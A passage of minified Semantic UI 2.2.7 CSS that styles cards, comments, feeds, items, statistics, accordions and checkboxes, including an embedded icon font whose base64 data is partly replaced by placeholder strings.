2em);margin-left:1em;margin-right:1em}.ui.nine.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.nine.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.ten.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.ten.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}}@media only screen and (min-width:768px) and (max-width:991px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards .card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.eight.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.eight.doubling.cards .card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.nine.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.nine.doubling.cards .card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.ten.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.ten.doubling.cards .card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}}@media only screen and (max-width:767px){.ui.stackable.cards{display:block!important}.ui.stackable.cards .card:first-child{margin-top:0!important}.ui.stackable.cards>.card{display:block!important;height:auto!important;margin:1em 1em;padding:0!important;width:calc(100% - 2em)!important}}.ui.cards>.card{font-size:1em}/*! * # Semantic UI 2.2.7 - Comment * path_to_url * * * Released under the MIT license * path_to_url * */.ui.comments{margin:1.5em 0;max-width:650px}.ui.comments:first-child{margin-top:0}.ui.comments:last-child{margin-bottom:0}.ui.comments .comment{position:relative;background:0 0;margin:.5em 0 0;padding:.5em 0 0;border:none;border-top:none;line-height:1.2}.ui.comments .comment:first-child{margin-top:0;padding-top:0}.ui.comments .comment .comments{margin:0 0 .5em .5em;padding:1em 0 1em 1em}.ui.comments .comment .comments:before{position:absolute;top:0;left:0}.ui.comments .comment .comments .comment{border:none;border-top:none;background:0 0}.ui.comments .comment .avatar{display:block;width:2.5em;height:auto;float:left;margin:.2em 0 0}.ui.comments .comment .avatar img,.ui.comments .comment img.avatar{display:block;margin:0 auto;width:100%;height:100%;border-radius:.25rem}.ui.comments .comment>.content{display:block}.ui.comments .comment>.avatar~.content{margin-left:3.5em}.ui.comments .comment .author{font-size:1em;color:rgba(0,0,0,.87);font-weight:700}.ui.comments .comment a.author{cursor:pointer}.ui.comments .comment a.author:hover{color:#1e70bf}.ui.comments .comment .metadata{display:inline-block;margin-left:.5em;color:rgba(0,0,0,.4);font-size:.875em}.ui.comments .comment .metadata>*{display:inline-block;margin:0 .5em 0 0}.ui.comments .comment .metadata>:last-child{margin-right:0}.ui.comments .comment .text{margin:.25em 0 .5em;font-size:1em;word-wrap:break-word;color:rgba(0,0,0,.87);line-height:1.3}.ui.comments .comment .actions{font-size:.875em}.ui.comments .comment .actions a{cursor:pointer;display:inline-block;margin:0 .75em 0 0;color:rgba(0,0,0,.4)}.ui.comments .comment .actions a:last-child{margin-right:0}.ui.comments .comment .actions a.active,.ui.comments .comment .actions a:hover{color:rgba(0,0,0,.8)}.ui.comments>.reply.form{margin-top:1em}.ui.comments .comment .reply.form{width:100%;margin-top:1em}.ui.comments .reply.form textarea{font-size:1em;height:12em}.ui.collapsed.comments,.ui.comments .collapsed.comment,.ui.comments .collapsed.comments{display:none}.ui.threaded.comments .comment .comments{margin:-1.5em 0 -1em 1.25em;padding:3em 0 2em 2.25em;box-shadow:-1px 0 0 rgba(34,36,38,.15)}.ui.minimal.comments .comment .actions{opacity:0;position:absolute;top:0;right:0;left:auto;-webkit-transition:opacity .2s ease;transition:opacity .2s ease;-webkit-transition-delay:.1s;transition-delay:.1s}.ui.minimal.comments .comment>.content:hover>.actions{opacity:1}.ui.mini.comments{font-size:.78571429rem}.ui.tiny.comments{font-size:.85714286rem}.ui.small.comments{font-size:.9em}.ui.comments{font-size:1em}.ui.large.comments{font-size:1.1em}.ui.big.comments{font-size:1.28571429rem}.ui.huge.comments{font-size:1.2em}.ui.massive.comments{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Feed * path_to_url * * * Released under the MIT license * path_to_url * */.ui.feed{margin:1em 0}.ui.feed:first-child{margin-top:0}.ui.feed:last-child{margin-bottom:0}.ui.feed>.event{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;width:100%;padding:.21428571rem 0;margin:0;background:0 0;border-top:none}.ui.feed>.event:first-child{border-top:0;padding-top:0}.ui.feed>.event:last-child{padding-bottom:0}.ui.feed>.event>.label{display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:2.5em;height:auto;-ms-flex-item-align:stretch;-ms-grid-row-align:stretch;align-self:stretch;text-align:left}.ui.feed>.event>.label .icon{opacity:1;font-size:1.5em;width:100%;padding:.25em;background:0 0;border:none;border-radius:none;color:rgba(0,0,0,.6)}.ui.feed>.event>.label img{width:100%;height:auto;border-radius:500rem}.ui.feed>.event>.label+.content{margin:.5em 0 .35714286em 1.14285714em}.ui.feed>.event>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;-ms-flex-item-align:stretch;-ms-grid-row-align:stretch;align-self:stretch;text-align:left;word-wrap:break-word}.ui.feed>.event:last-child>.content{padding-bottom:0}.ui.feed>.event>.content a{cursor:pointer}.ui.feed>.event>.content .date{margin:-.5rem 0 0;padding:0;font-weight:400;font-size:1em;font-style:normal;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .summary{margin:0;font-size:1em;font-weight:700;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .summary img{display:inline-block;width:auto;height:10em;margin:-.25em .25em 0 0;border-radius:.25em;vertical-align:middle}.ui.feed>.event>.content .user{display:inline-block;font-weight:700;margin-right:0;vertical-align:baseline}.ui.feed>.event>.content .user img{margin:-.25em .25em 0 0;width:auto;height:10em;vertical-align:middle}.ui.feed>.event>.content .summary>.date{display:inline-block;float:none;font-weight:400;font-size:.85714286em;font-style:normal;margin:0 0 0 .5em;padding:0;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .extra{margin:.5em 0 0;background:0 0;padding:0;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .extra.images img{display:inline-block;margin:0 .25em 0 0;width:6em}.ui.feed>.event>.content .extra.text{padding:0;border-left:none;font-size:1em;max-width:500px;line-height:1.4285em}.ui.feed>.event>.content .meta{display:inline-block;font-size:.85714286em;margin:.5em 0 0;background:0 0;border:none;border-radius:0;box-shadow:none;padding:0;color:rgba(0,0,0,.6)}.ui.feed>.event>.content .meta>*{position:relative;margin-left:.75em}.ui.feed>.event>.content .meta>:after{content:'';color:rgba(0,0,0,.2);top:0;left:-1em;opacity:1;position:absolute;vertical-align:top}.ui.feed>.event>.content .meta .like{color:'';-webkit-transition:.2s color ease;transition:.2s color ease}.ui.feed>.event>.content .meta .like:hover .icon{color:#ff2733}.ui.feed>.event>.content .meta .active.like .icon{color:#ef404a}.ui.feed>.event>.content .meta>:first-child{margin-left:0}.ui.feed>.event>.content .meta>:first-child::after{display:none}.ui.feed>.event>.content .meta a,.ui.feed>.event>.content .meta>.icon{cursor:pointer;opacity:1;color:rgba(0,0,0,.5);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.feed>.event>.content .meta a:hover,.ui.feed>.event>.content .meta a:hover .icon,.ui.feed>.event>.content .meta>.icon:hover{color:rgba(0,0,0,.95)}.ui.small.feed{font-size:.92857143rem}.ui.feed{font-size:1rem}.ui.large.feed{font-size:1.14285714rem}/*! * # Semantic UI 2.2.7 - Item * path_to_url * * * Released under the MIT license * path_to_url * */.ui.items>.item{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1em 0;width:100%;min-height:0;background:0 0;padding:0;border:none;border-radius:0;box-shadow:none;-webkit-transition:box-shadow .1s ease;transition:box-shadow .1s ease;z-index:''}.ui.items>.item a{cursor:pointer}.ui.items{margin:1.5em 0}.ui.items:first-child{margin-top:0!important}.ui.items:last-child{margin-bottom:0!important}.ui.items>.item:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item:first-child{margin-top:0}.ui.items>.item:last-child{margin-bottom:0}.ui.items>.item>.image{position:relative;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;display:block;float:none;margin:0;padding:0;max-height:'';-ms-flex-item-align:top;-ms-grid-row-align:top;align-self:top}.ui.items>.item>.image>img{display:block;width:100%;height:auto;border-radius:.125rem;border:none}.ui.items>.item>.image:only-child>img{border-radius:0}.ui.items>.item>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;background:0 0;margin:0;padding:0;box-shadow:none;font-size:1em;border:none;border-radius:0}.ui.items>.item>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image+.content{min-width:0;width:auto;display:block;margin-left:0;-ms-flex-item-align:top;-ms-grid-row-align:top;align-self:top;padding-left:1.5em}.ui.items>.item>.content>.header{display:inline-block;margin:-.21425em 0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;color:rgba(0,0,0,.85)}.ui.items>.item>.content>.header:not(.ui){font-size:1.28571429em}.ui.items>.item [class*="left floated"]{float:left}.ui.items>.item [class*="right floated"]{float:right}.ui.items>.item .content img{-ms-flex-item-align:middle;-ms-grid-row-align:middle;align-self:middle;width:''}.ui.items>.item .avatar img,.ui.items>.item img.avatar{width:'';height:'';border-radius:500rem}.ui.items>.item>.content>.description{margin-top:.6em;max-width:auto;font-size:1em;line-height:1.4285em;color:rgba(0,0,0,.87)}.ui.items>.item>.content p{margin:0 0 .5em}.ui.items>.item>.content p:last-child{margin-bottom:0}.ui.items>.item .meta{margin:.5em 0 .5em;font-size:1em;line-height:1em;color:rgba(0,0,0,.6)}.ui.items>.item .meta *{margin-right:.3em}.ui.items>.item .meta :last-child{margin-right:0}.ui.items>.item .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.items>.item>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content a:not(.ui):hover{color:''}.ui.items>.item>.content>a.header{color:rgba(0,0,0,.85)}.ui.items>.item>.content>a.header:hover{color:#1e70bf}.ui.items>.item .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.items>.item .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.items>.item>.content .favorite.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .favorite.icon:hover{opacity:1;color:#ffb70a}.ui.items>.item>.content .active.favorite.icon{color:#ffe623}.ui.items>.item>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .like.icon:hover{opacity:1;color:#ff2733}.ui.items>.item>.content .active.like.icon{color:#ff2733}.ui.items>.item .extra{display:block;position:relative;background:0 0;margin:.5rem 0 0;width:100%;padding:0 0 0;top:0;left:0;color:rgba(0,0,0,.4);box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease;border-top:none}.ui.items>.item .extra>*{margin:.25rem .5rem .25rem 0}.ui.items>.item .extra>[class*="right floated"]{margin:.25rem 0 .25rem .5rem}.ui.items>.item .extra:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image:not(.ui){width:175px}@media only screen and (min-width:768px) and (max-width:991px){.ui.items>.item{margin:1em 0}.ui.items>.item>.image:not(.ui){width:150px}.ui.items>.item>.image+.content{display:block;padding:0 0 0 1em}}@media only screen and (max-width:767px){.ui.items>.item{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:2em 0}.ui.items>.item>.image{display:block;margin-left:auto;margin-right:auto}.ui.items>.item>.image,.ui.items>.item>.image>img{max-width:100%!important;width:auto!important;max-height:250px!important}.ui.items>.item>.image+.content{display:block;padding:1.5em 0 0}}.ui.items>.item>.image+[class*="top aligned"].content{-ms-flex-item-align:start;align-self:flex-start}.ui.items>.item>.image+[class*="middle aligned"].content{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center}.ui.items>.item>.image+[class*="bottom aligned"].content{-ms-flex-item-align:end;align-self:flex-end}.ui.relaxed.items>.item{margin:1.5em 0}.ui[class*="very relaxed"].items>.item{margin:2em 0}.ui.divided.items>.item{border-top:1px solid rgba(34,36,38,.15);margin:0;padding:1em 0}.ui.divided.items>.item:first-child{border-top:none;margin-top:0!important;padding-top:0!important}.ui.divided.items>.item:last-child{margin-bottom:0!important;padding-bottom:0!important}.ui.relaxed.divided.items>.item{margin:0;padding:1.5em 0}.ui[class*="very relaxed"].divided.items>.item{margin:0;padding:2em 0}.ui.items a.item:hover,.ui.link.items>.item:hover{cursor:pointer}.ui.items a.item:hover .content .header,.ui.link.items>.item:hover .content .header{color:#1e70bf}.ui.items>.item{font-size:1em}/*! * # Semantic UI 2.2.7 - Statistic * path_to_url * * * Released under the MIT license * path_to_url * */.ui.statistic{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:1em 0;max-width:auto}.ui.statistic+.ui.statistic{margin:0 0 0 1.5em}.ui.statistic:first-child{margin-top:0}.ui.statistic:last-child{margin-bottom:0}.ui.statistics{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.statistics>.statistic{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0 1.5em 2em;max-width:auto}.ui.statistics{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1em -1.5em -2em}.ui.statistics:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.statistics:first-child{margin-top:0}.ui.statistics:last-child{margin-bottom:0}.ui.statistic>.value,.ui.statistics .statistic>.value{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:4rem;font-weight:400;line-height:1em;color:#1b1c1d;text-transform:uppercase;text-align:center}.ui.statistic>.label,.ui.statistics .statistic>.label{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;font-weight:700;color:rgba(0,0,0,.87);text-transform:uppercase;text-align:center}.ui.statistic>.label~.value,.ui.statistics .statistic>.label~.value{margin-top:0}.ui.statistic>.value~.label,.ui.statistics .statistic>.value~.label{margin-top:0}.ui.statistic>.value .icon,.ui.statistics .statistic>.value .icon{opacity:1;width:auto;margin:0}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{line-height:1em;min-height:2em;font-weight:700;text-align:center}.ui.statistic>.text.value+.label,.ui.statistics .statistic>.text.value+.label{text-align:center}.ui.statistic>.value img,.ui.statistics .statistic>.value img{max-height:3rem;vertical-align:baseline}.ui.ten.statistics{margin:0 0 -2em}.ui.ten.statistics .statistic{min-width:10%;margin:0 0 2em}.ui.nine.statistics{margin:0 0 -2em}.ui.nine.statistics .statistic{min-width:11.11111111%;margin:0 0 2em}.ui.eight.statistics{margin:0 0 -2em}.ui.eight.statistics .statistic{min-width:12.5%;margin:0 0 2em}.ui.seven.statistics{margin:0 0 -2em}.ui.seven.statistics .statistic{min-width:14.28571429%;margin:0 0 2em}.ui.six.statistics{margin:0 0 -2em}.ui.six.statistics .statistic{min-width:16.66666667%;margin:0 0 2em}.ui.five.statistics{margin:0 0 -2em}.ui.five.statistics .statistic{min-width:20%;margin:0 0 2em}.ui.four.statistics{margin:0 0 -2em}.ui.four.statistics .statistic{min-width:25%;margin:0 0 2em}.ui.three.statistics{margin:0 0 -2em}.ui.three.statistics .statistic{min-width:33.33333333%;margin:0 0 2em}.ui.two.statistics{margin:0 0 -2em}.ui.two.statistics .statistic{min-width:50%;margin:0 0 2em}.ui.one.statistics{margin:0 0 -2em}.ui.one.statistics .statistic{min-width:100%;margin:0 0 2em}.ui.horizontal.statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.horizontal.statistics{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0;max-width:none}.ui.horizontal.statistics .statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center;max-width:none;margin:1em 0}.ui.horizontal.statistic>.text.value,.ui.horizontal.statistics>.statistic>.text.value{min-height:0!important}.ui.horizontal.statistic>.value .icon,.ui.horizontal.statistics .statistic>.value .icon{width:1.18em}.ui.horizontal.statistic>.value,.ui.horizontal.statistics .statistic>.value{display:inline-block;vertical-align:middle}.ui.horizontal.statistic>.label,.ui.horizontal.statistics .statistic>.label{display:inline-block;vertical-align:middle;margin:0 0 0 .75em}.ui.red.statistic>.value,.ui.red.statistics .statistic>.value,.ui.statistics .red.statistic>.value{color:#db2828}.ui.orange.statistic>.value,.ui.orange.statistics .statistic>.value,.ui.statistics .orange.statistic>.value{color:#f2711c}.ui.statistics .yellow.statistic>.value,.ui.yellow.statistic>.value,.ui.yellow.statistics .statistic>.value{color:#fbbd08}.ui.olive.statistic>.value,.ui.olive.statistics .statistic>.value,.ui.statistics .olive.statistic>.value{color:#b5cc18}.ui.green.statistic>.value,.ui.green.statistics .statistic>.value,.ui.statistics .green.statistic>.value{color:#21ba45}.ui.statistics .teal.statistic>.value,.ui.teal.statistic>.value,.ui.teal.statistics .statistic>.value{color:#00b5ad}.ui.blue.statistic>.value,.ui.blue.statistics .statistic>.value,.ui.statistics .blue.statistic>.value{color:#2185d0}.ui.statistics .violet.statistic>.value,.ui.violet.statistic>.value,.ui.violet.statistics .statistic>.value{color:#6435c9}.ui.purple.statistic>.value,.ui.purple.statistics .statistic>.value,.ui.statistics .purple.statistic>.value{color:#a333c8}.ui.pink.statistic>.value,.ui.pink.statistics .statistic>.value,.ui.statistics .pink.statistic>.value{color:#e03997}.ui.brown.statistic>.value,.ui.brown.statistics .statistic>.value,.ui.statistics .brown.statistic>.value{color:#a5673f}.ui.grey.statistic>.value,.ui.grey.statistics .statistic>.value,.ui.statistics .grey.statistic>.value{color:#767676}.ui.inverted.statistic .value,.ui.inverted.statistics .statistic>.value{color:#fff}.ui.inverted.statistic .label,.ui.inverted.statistics .statistic>.label{color:rgba(255,255,255,.9)}.ui.inverted.red.statistic>.value,.ui.inverted.red.statistics .statistic>.value,.ui.statistics .inverted.red.statistic>.value{color:#ff695e}.ui.inverted.orange.statistic>.value,.ui.inverted.orange.statistics .statistic>.value,.ui.statistics .inverted.orange.statistic>.value{color:#ff851b}.ui.inverted.yellow.statistic>.value,.ui.inverted.yellow.statistics .statistic>.value,.ui.statistics .inverted.yellow.statistic>.value{color:#ffe21f}.ui.inverted.olive.statistic>.value,.ui.inverted.olive.statistics .statistic>.value,.ui.statistics .inverted.olive.statistic>.value{color:#d9e778}.ui.inverted.green.statistic>.value,.ui.inverted.green.statistics .statistic>.value,.ui.statistics .inverted.green.statistic>.value{color:#2ecc40}.ui.inverted.teal.statistic>.value,.ui.inverted.teal.statistics .statistic>.value,.ui.statistics .inverted.teal.statistic>.value{color:#6dffff}.ui.inverted.blue.statistic>.value,.ui.inverted.blue.statistics .statistic>.value,.ui.statistics .inverted.blue.statistic>.value{color:#54c8ff}.ui.inverted.violet.statistic>.value,.ui.inverted.violet.statistics .statistic>.value,.ui.statistics .inverted.violet.statistic>.value{color:#a291fb}.ui.inverted.purple.statistic>.value,.ui.inverted.purple.statistics .statistic>.value,.ui.statistics .inverted.purple.statistic>.value{color:#dc73ff}.ui.inverted.pink.statistic>.value,.ui.inverted.pink.statistics .statistic>.value,.ui.statistics .inverted.pink.statistic>.value{color:#ff8edf}.ui.inverted.brown.statistic>.value,.ui.inverted.brown.statistics .statistic>.value,.ui.statistics .inverted.brown.statistic>.value{color:#d67c1c}.ui.inverted.grey.statistic>.value,.ui.inverted.grey.statistics .statistic>.value,.ui.statistics .inverted.grey.statistic>.value{color:#dcddde}.ui[class*="left floated"].statistic{float:left;margin:0 2em 1em 0}.ui[class*="right floated"].statistic{float:right;margin:0 0 1em 2em}.ui.floated.statistic:last-child{margin-bottom:0}.ui.mini.statistic>.value,.ui.mini.statistics .statistic>.value{font-size:1.5rem!important}.ui.mini.horizontal.statistic>.value,.ui.mini.horizontal.statistics .statistic>.value{font-size:1.5rem!important}.ui.mini.statistic>.text.value,.ui.mini.statistics .statistic>.text.value{font-size:1rem!important}.ui.tiny.statistic>.value,.ui.tiny.statistics .statistic>.value{font-size:2rem!important}.ui.tiny.horizontal.statistic>.value,.ui.tiny.horizontal.statistics .statistic>.value{font-size:2rem!important}.ui.tiny.statistic>.text.value,.ui.tiny.statistics .statistic>.text.value{font-size:1rem!important}.ui.small.statistic>.value,.ui.small.statistics .statistic>.value{font-size:3rem!important}.ui.small.horizontal.statistic>.value,.ui.small.horizontal.statistics .statistic>.value{font-size:2rem!important}.ui.small.statistic>.text.value,.ui.small.statistics .statistic>.text.value{font-size:1rem!important}.ui.statistic>.value,.ui.statistics .statistic>.value{font-size:4rem!important}.ui.horizontal.statistic>.value,.ui.horizontal.statistics .statistic>.value{font-size:3rem!important}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{font-size:2rem!important}.ui.large.statistic>.value,.ui.large.statistics .statistic>.value{font-size:5rem!important}.ui.large.horizontal.statistic>.value,.ui.large.horizontal.statistics .statistic>.value{font-size:4rem!important}.ui.large.statistic>.text.value,.ui.large.statistics .statistic>.text.value{font-size:2.5rem!important}.ui.huge.statistic>.value,.ui.huge.statistics .statistic>.value{font-size:6rem!important}.ui.huge.horizontal.statistic>.value,.ui.huge.horizontal.statistics .statistic>.value{font-size:5rem!important}.ui.huge.statistic>.text.value,.ui.huge.statistics .statistic>.text.value{font-size:2.5rem!important}/*! * # Semantic UI 2.2.7 - Accordion * path_to_url * * * Released under the MIT license * path_to_url * */.ui.accordion,.ui.accordion .accordion{max-width:100%}.ui.accordion .accordion{margin:1em 0 0;padding:0}.ui.accordion .accordion .title,.ui.accordion .title{cursor:pointer}.ui.accordion .title:not(.ui){padding:.5em 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;color:rgba(0,0,0,.87)}.ui.accordion .accordion .title~.content,.ui.accordion .title~.content{display:none}.ui.accordion:not(.styled) .accordion .title~.content:not(.ui),.ui.accordion:not(.styled) .title~.content:not(.ui){margin:'';padding:.5em 0 1em}.ui.accordion:not(.styled) .title~.content:not(.ui):last-child{padding-bottom:0}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{display:inline-block;float:none;opacity:1;width:1.25em;height:1em;margin:0 .25rem 0 0;padding:0;font-size:1em;-webkit-transition:opacity .1s ease,-webkit-transform .1s ease;transition:opacity .1s ease,-webkit-transform .1s ease;transition:transform .1s ease,opacity .1s ease;transition:transform .1s ease,opacity .1s ease,-webkit-transform .1s ease;vertical-align:baseline;-webkit-transform:none;transform:none}.ui.accordion.menu .item .title{display:block;padding:0}.ui.accordion.menu .item .title>.dropdown.icon{float:right;margin:.21425em 0 0 1em;-webkit-transform:rotate(180deg);transform:rotate(180deg)}.ui.accordion .ui.header .dropdown.icon{font-size:1em;margin:0 .25rem 0 0}.ui.accordion .accordion .active.title .dropdown.icon,.ui.accordion .active.title .dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.accordion.menu .item .active.title>.dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.styled.accordion{width:600px}.ui.styled.accordion,.ui.styled.accordion .accordion{border-radius:.28571429rem;background:#fff;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15)}.ui.styled.accordion .accordion .title,.ui.styled.accordion .title{margin:0;padding:.75em 1em;color:rgba(0,0,0,.4);font-weight:700;border-top:1px solid rgba(34,36,38,.15);-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.styled.accordion .accordion .title:first-child,.ui.styled.accordion>.title:first-child{border-top:none}.ui.styled.accordion .accordion .content,.ui.styled.accordion .content{margin:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .content{padding:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover,.ui.styled.accordion .active.title,.ui.styled.accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.styled.accordion .accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.accordion .accordion .active.content,.ui.accordion .active.content{display:block}.ui.fluid.accordion,.ui.fluid.accordion .accordion{width:100%}.ui.inverted.accordion .title:not(.ui){color:rgba(255,255,255,.9)}@font-face{font-family:Accordion;src:url(data:application/x-font-ttf;charset=utf-8;base64,your_sha256_hashAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+your_sha512_hash//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//your_sha256_hashyour_sha256_hashEgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/your_sha256_hashyour_sha256_hashAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAA) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,your_sha256_hashyour_sha256_hashAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/your_sha256_hashyour_sha256_hashAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+your_sha256_hashyour_sha256_hashZ33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/your_sha512_hash+xQFj4iNhouGi4aJh4eICPsU+your_sha256_hashyour_sha256_hashABAAADw2gHg/+your_sha512_hash//3//wAAAAAAIPDZyour_sha512_hash/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{font-family:Accordion;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.accordion .accordion .title .dropdown.icon:before,.ui.accordion .title .dropdown.icon:before{content:'\f0da'}/*! * # Semantic UI 2.2.7 - Checkbox * path_to_url * * * Released under the MIT license * path_to_url * */.ui.checkbox{position:relative;display:inline-block;-webkit-backface-visibility:hidden;backface-visibility:hidden;outline:0;vertical-align:baseline;font-style:normal;min-height:17px;font-size:1rem;line-height:17px;min-width:17px}.ui.checkbox input[type=checkbox],.ui.checkbox input[type=radio]{cursor:pointer;position:absolute;top:0;left:0;opacity:0!important;outline:0;z-index:3;width:17px;height:17px}.ui.checkbox .box,.ui.checkbox label{cursor:auto;position:relative;display:block;padding-left:1.85714em;outline:0;font-size:1em}.ui.checkbox .box:before,.ui.checkbox label:before{position:absolute;top:0;left:0;width:17px;height:17px;content:'';background:#fff;border-radius:.21428571rem;-webkit-transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;border:1px solid #d4d4d5}.ui.checkbox .box:after,.ui.checkbox label:after{position:absolute;font-size:14px;top:0;left:0;width:17px;height:17px;text-align:center;opacity:0;color:rgba(0,0,0,.87);-webkit-transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s 